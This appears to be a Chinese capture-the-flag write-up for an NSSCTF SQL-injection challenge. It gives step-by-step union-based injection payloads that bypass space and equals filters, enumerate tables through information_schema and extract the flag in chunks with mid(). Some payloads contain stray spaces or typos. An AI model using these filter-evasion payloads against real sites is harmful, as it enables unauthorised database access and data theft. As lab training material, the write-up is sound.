NSSCTF sql

开启环境:

NSSCTF sql_第1张图片

 ?wllm=1

回显正常,试试?wllm=1'

出现报错;加上%23正常

?wllm=-1'or 1=1%23出现过滤

NSSCTF sql_第2张图片

 测试,空格用**替代, 等号用like替代

测试长度

?wlmm=1'order/**/by/**/3%23正常

?wlmm=1'order/**/by/**/4%23报错

长度为3,测试回显位置:

?wlmm=-1'union/**/select/**/1,2,3%23

正常,查database:

?wllm=-1'union/**/select/**/1,2,database()%23

正常,查table:

?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

NSSCTF sql_第3张图片

正常,查column:

?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

NSSCTF sql_第4张图片

 继续,查询内容:

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23

NSSCTF sql_第5张图片

 位数长度不足 使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid截取,因为回显只能有20个,所以20,一组截取

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes t_db.LTLT_flag%23

NSSCTF sql_第6张图片

 继续读到三组:

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),30,20)/**/from/**/test_db.LTLT_flag%23

NSSCTF sql_第7张图片

NSSCTF{d8a5d396-1f8c-4dc5-ad4b-c96242394736}

OK!!

附:mid函数

mid(column_name,start[,length]) //此函数为截取字符串一部分
//column_name 必需。要提取字符的字段。
//start 必需。规定开始位置(起始值是 1)。
//length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
/*
 例:mid(database(),1,1)='a'

通过=右侧字母的改变和表达式的真假判断库名
*/

你可能感兴趣的:(sql,数据库)